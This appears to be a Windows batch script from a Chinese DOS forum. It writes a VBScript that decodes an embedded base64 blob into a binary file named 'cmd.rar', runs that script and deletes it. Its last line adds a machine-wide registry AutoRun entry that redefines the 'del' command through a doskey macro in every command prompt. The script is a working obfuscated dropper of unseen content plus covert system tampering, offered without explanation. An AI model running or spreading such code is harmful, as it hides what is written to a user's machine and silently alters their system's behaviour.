中国DOS联盟

@echo bs=_>xx.vbs
@echo "SFmchoxBA8MkzBAANAAAAAAAAAQ3FQHISWEA+NAAAgjBAAgAXGAXLtOsigTHzACAgAAAAMM/B7Ozhrsv3uvLs52aAQla9RuTQPmO5BoJ75CbuBwaAAPMjEADdUFFM/YzB+hkycEJ+UB1imaiIgBJiX5WZQCbRiMoTOIgkOhk0g9k"+_>>xx.vbs
@echo "V6wqBcMIU7oNGFNJJAaDgMISJGgAQYSh0AUlFRXX2VouqkiaVuiUKq8O0sDbUBxIhLaaIUCB9f+5j4oTm/DR3Igqk02zsw877x5771J+79Dn3vLzmfX2v7974+rfnPzi0YOj+HAoO2EUNT4Je3nRzz+IWGBD/y0as99g7WzEPkVz"+_>>xx.vbs
@echo "uG7zkPgzHeyC4iYuJdciTgz7KGBtrJxz1nV4ri3qvy/TPIplXuasbYXduJkHrUgMXx2xp2LVcgVWXlFuuhigByqHettWf+uGE1/LkQKkgj1ChwFLI3JEG7DIJXjOV3jFICxLgHkd13nPHOq9LCZB5bGC25RhgbogxiVbK3A5wwRf"+_>>xx.vbs
@echo "60ZP2yl75z9sGfBafMJ9jI6VtJqoc5rDSH7y00lkypjN0j+6kkP1gIuwyiGqd3cNtrhgRqdc0d+U36cdeYM1u8CnMv2Mdkj9gMdnX9FKCEtwPMo0tgP4QcOCobn4kzSIvlocm3S+N/s7GS+UT4SSsVQEeg+6S6Cx8Iy7OQifcHEJ"+_>>xx.vbs
@echo "uJS3dqI9ANS7DI11+ty7+sFj/D3FTgDuYSlCSt/5YS2oTjOfhFWAdOsLM0vwIXbQJuCpUcuEb6vHZH5NFCguZNZQQjKP9LsWcPvNZPP6r0Xm12Jn2P3BDoBJ9wCB5j++S/96E5k8R6fzD6er6UXiTCa2Lx16swm5MOwZYSiXUU2d"+_>>xx.vbs
@echo "5TCf8mpS6JXZjYmh28DCo1IS9LIbTFKsjyve8109n/h+LmXyml8rpl/37Apq1EG/KT2VUmIPZiHivksizibkQKZZqQZIFHKv1u4kbCO+Lul7Wk174J5akprbTaOJ+4g8QeZ0EiaP8ZaP4tmNrtDqiomjWWKBWHDfmR6kxqkmLL5B"+_>>xx.vbs
@echo "oviFQblhlbP7y5c9/Mal4gzEoirin58ec1De16CPzQmpa97J/EQiFwJWwEzZj5PJVUIN30vVcqKAu5jHulo/3C97YdC66BLl7jI/4J3qG26fqV2mPKFNMucSxov7u/3qsuyhrL5Y2XaW7I+RUm18q3rciAWtt4+ik+tIWXr0vGwF"+_>>xx.vbs
@echo "w80FTy/ciITifIMJrtNS7mlX9IEtNp83BKADL4aLjcvUP2u7/+qRnVWt8dinM933HvvUEVl2oOfcy6LHbQ3jHQgU//eOuC3rUUSs7lQu6BJx9sHAAdAA"+_>>xx.vbs
@echo "":set rs=CreateObject("ADODB.Recordset")>>xx.vbs
@echo set ado=CreateObject("ADODB.Stream")>>xx.vbs
@echo l=len(bs):ss="":for k=1 to l step 4096:ss=ss+ub64(mid(bs,k,4096)):next:l=len(ss)>>xx.vbs
@echo rs.fields.append "b",205,l/2:rs.open:rs.addnew:rs("b")=ss+chrb(0):rs.update>>xx.vbs
@echo ado.mode=3:ado.type=1:ado.open:ado.write rs("b").getchunk(l/2)>>xx.vbs
@echo ado.savetofile "cmd.rar",2:ado.close>>xx.vbs
@echo function ub64(s):dim t(4),b(3):ub64="":n=len(s):r=2 >>xx.vbs
@echo if n mod 4^<^>0 then exit function:end if:for i=1 to n step 4:for j=0 to 3 >>xx.vbs
@echo a=asc(mid(s,i+j,1)):if a=43 then:a=62:else if a=47 then:a=63:else if a^>47 and a^<58 then:_>>xx.vbs
@echo a=a+4:else if a=61 then:a=0:if r=2 then r=j-2:end if:else if a^>64 and a^<91 then:_>>xx.vbs
@echo a=a-65:else if a^>96 and a^<123 then:a=a-71:else:exit function:_>>xx.vbs
@echo end if:end if:end if:end if:end if:end if:t(j)=a:next>>xx.vbs
@echo b(0)=t(0)+t(1)*64 mod 256:b(1)=t(1)\4+t(2)*16 mod 256:b(2)=t(2)\16+t(3)*4 >>xx.vbs
@echo for j=0 to r:if b(j)^<16 then ub64=ub64+"0":end if:ub64=ub64+hex(b(j))>>xx.vbs
@echo next:next:end function>>xx.vbs&&cscript.exe //nologo xx.vbs&del xx.vbs

reg add "HKLM\SOFTWARE\Microsoft\Command Processor" /v AutoRun /d "doskey del=del　" /f